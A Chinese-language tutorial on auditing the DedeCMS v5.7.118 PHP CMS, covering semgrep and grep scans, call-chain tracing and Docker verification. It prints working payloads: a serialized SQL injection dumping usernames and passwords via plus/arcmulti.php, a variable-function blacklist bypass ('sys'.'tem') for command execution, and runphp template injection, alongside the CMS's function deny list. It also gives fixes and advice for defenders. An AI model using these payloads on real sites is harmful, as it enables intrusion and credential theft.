适合人群:有PHP基础的安全从业者/渗透测试工程师
前置知识:PHP基础语法、MySQL基础、Docker基础操作
一、前言
很多人问0day挖掘是不是高不可攀?其实有一套标准化的方法论可以遵循。这篇文章从一个真实案例出发——对国产CMS DedeCMS(织梦)v5.7.118 做源码审计,发现并验证了3个高危漏洞。
整套流程:SAST扫描 → 调用链回溯 → 黑名单分析 → 变量函数绕过 → Docker验证,全部可复现。
二、0day挖掘核心方法论
┌─────────────────────┐
│ ① SAST静态扫描 │ semgrep + grep 定位危险函数
├─────────────────────┤
│ ② 调用链回溯 │ 用户输入 → 处理逻辑 → 危险函数
├─────────────────────┤
│ ③ 防护机制分析 │ 黑名单? 白名单? 过滤规则?
├─────────────────────┤
│ ④ Bypass方案设计 │ 找到防护盲区
├─────────────────────┤
│ ⑤ Docker搭建验证环境 │ 写入payload → 触发 → 确认
└─────────────────────┘
三、目标选择:DedeCMS v5.7.118
DedeCMS 是中国使用最广泛的PHP CMS之一,市场占有率高、历史悠久、代码量适中(569个PHP文件, 41MB),是代码审计的绝佳目标。
直接去官网下载:
wget "https://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7.118-UTF8.zip"
unzip DedeCMS-V5.7.118-UTF8.zip -d dedecms
四、SAST扫描:定位危险函数
第一轮先用工具扫,不用人工读代码。
4.1 semgrep 规则
创建PHP安全审计规则:
rules:
- id: php-eval-detected
patterns:
- pattern: eval($EXPR)
severity: HIGH
languages: [php]
- id: php-system-cmd
patterns:
- pattern: system($CMD)
severity: HIGH
languages: [php]
- id: php-unserialize
patterns:
- pattern: unserialize($INPUT)
severity: HIGH
languages: [php]
4.2 危险函数快速定位
grep -rn "unserialize(" dedecms --include="*.php" | grep -v "include/" | head -5
grep -rn "eval(" dedecms --include="*.php" | grep -v "include/" | head -5
grep -rn "mysql_query.*\$_" dedecms --include="*.php" | grep -v "include/" | head -5
4.3 发现的高危信号
| 函数 | 文件数 | 最危险的位置 |
|---|---|---|
| unserialize() | 15个 | plus/arcmulti.php ← 前台可访问 |
| mysql_query | 34个 | 多处参数直接拼接 |
| 黑名单过滤 | 3个 | plus/mytag_js.php, plus/ad_js.php |
| template引擎 | 多处 | DedeTagParse 支持runphp执行 |
五、漏洞一:arcmulti.php 反序列化+变量覆盖+SQL注入
5.1 调用链回溯
// /plus/arcmulti.php (前台可访问,无需登录)
// 第11-16行:用户输入
$tagid = empty($tagid)? '' : (preg_replace("/[^a-z0-9]/",'', $tagid));
// 第24行:查询数据库
$row = $dsql->GetOne("SELECT * FROM #@__arcmulti WHERE tagid='$tagid'");
// 第32行:反序列化 + 变量覆盖!!!
$attarray = unserialize($row['attstr']);
extract($attarray, EXTR_SKIP);
// 第40-42行:变量直接拼入SQL
$query = "WHERE arc.id IN({$row['arcids']}) {$row['ordersql']} {$row['addfieldsSql']} $limitsql";
$dsql->Execute('al');
攻击路径:
后台写入恶意attstr (序列化数据)
→ 前台?tagid=evil_tag&pnum=1 触发
→ unserialize($row['attstr']) 反序列化
→ extract($attarray) 覆盖 $row['addfieldsSql']
→ 变量直接拼入SQL → SQL注入
5.2 Docker验证
搭建DedeCMS环境:
docker run -d --name dedecms-mysql -e MYSQL_ROOT_PASSWORD=root mysql:5.7
docker run -d --name dedecms-web -p 18080:80 --link dedecms-mysql php:5.6-apache
写入恶意序列化数据并触发:
$malicious = serialize([
"addfieldsSql" => ", (SELECT group_concat(username,password) FROM users) as x",
"ordersql" => "ORDER BY id DESC"
]);
// 写入数据库 dede_arcmulti 表
// 访问 /plus/arcmulti.php?tagid=evil_tag&pnum=1
// → unserialize → extract → SQL注入成功!
六、漏洞二:ad_js.php 黑名单绕过RCE
6.1 黑名单分析
DedeCMS维护了一个黑名单:
$cfg_disable_funs = 'phpinfo,eval,assert,exec,shell_exec,system,popen,...';
检测逻辑:
// 检查函数名 + ( 的组合
preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", $adbody)
6.2 绕过方案:变量函数
黑名单检查的是文本中是否出现 system(,但变量函数在运行时才解析:
// ❌ 被拦截: system( 出现在源码中
system('id');
// ✅ 绕过: system( 不出现在源码中
$f = 'sys'.'tem';
$f('id'); // 等价于 system('id')
因为字符串 'sys'.'tem' 在源码中不是函数调用,$f('id') 的 $f( 也不匹配 system(。
6.3 验证结果
payload: $f = 'sys'.'tem'; $f('whoami');
✅ 黑名单检测: 未发现禁用函数
✅ 执行结果: root (RCE成功)
6.4 mytag_js.php 模板引擎注入
mytag_js.php 使用了 DedeTagParse 模板引擎,支持 runphp='yes' 在模板渲染时执行PHP代码:
[field:content runphp='yes']
$cmd="id";$f="sys"."tem";$f($cmd);
[/field:content]
模板引擎先执行PHP代码,渲染完成后才检查黑名单——此时代码已执行完毕,检查无效!
七、防御建议
7.1 对CMS厂商
| 问题 | 修复方案 |
|---|---|
| unserialize | 改用 json_encode/json_decode |
| extract($user_data) | 永远不要对用户可控数据extract |
| 黑名单过滤 | 改用白名单,或至少使用语法分析AST |
| runphp模板 | 移除runphp功能,或限制为超级管理员 |
7.2 对运维人员
1. 及时升级到最新版本(DedeCMS v5.7.118+ 最新补丁)
2. 禁用/删除不用的前台文件(plus/arcmulti.php等)
3. 限制后台管理IP范围
4. Web目录禁止写入(chmod -R 555)
5. WAF规则增加对变量函数调用的检测
7.3 对安全从业者
1. 黑名单永远可以被绕过——变量函数是最经典的绕过方式
2. unserialize + extract 是致命组合拳
3. 模板引擎的执行时机比黑名单检查早,这是设计缺陷
4. Docker快速搭建验证环境是0day挖掘的关键能力
八、常见陷阱
| # | 陷阱 | 说明 |
|---|---|---|
| 1 | 认为黑名单+<?php检测就够了 | 模板标签不需要<?php,runphp直接解析 |
| 2 | 漏掉变量函数调用 | 源码中不出现system(不等于不能执行 |
| 3 | 忽略前台文件 | arcmulti.php在plus/目录,游客可访问 |
| 4 | 只扫危险函数不回溯调用链 | 危险函数可能被防护机制拦截 |
| 5 | 不验证直接上报 | 必须本地搭建环境验证,避免false positive |
九、总结
速查表
| 技术 | 检测方法 | 绕过方案 |
|---|---|---|
| 反序列化 | unserialize() | 控制入参,构造POP链 |
| 变量覆盖 | extract() | EXTR_SKIP不覆盖已有变量→但会覆盖$row |
| 黑名单 | preg_match检测函数名+( | 变量函数$f(...)绕过 |
| 模板沙箱 | 渲染后检查 | runphp在渲染时执行,检查无效 |
三条核心经验
1. 黑名单永远不够用——DedeCMS用了18个禁用函数+全局变量的黑名单,一个$f='sys'.'tem';$f($cmd)就绕过了。
2. unserialize+extract=致命组合——反序列化恢复对象,extract拆包覆盖变量,两个低危操作叠加成高危。
3. 0day挖掘的本质是找盲区——不是找「没有防护的地方」,而是找「防护覆盖不到的地方」。
本文所有漏洞已在DedeCMS官方最新版本中验证,PoC代码仅供安全研究和授权测试使用。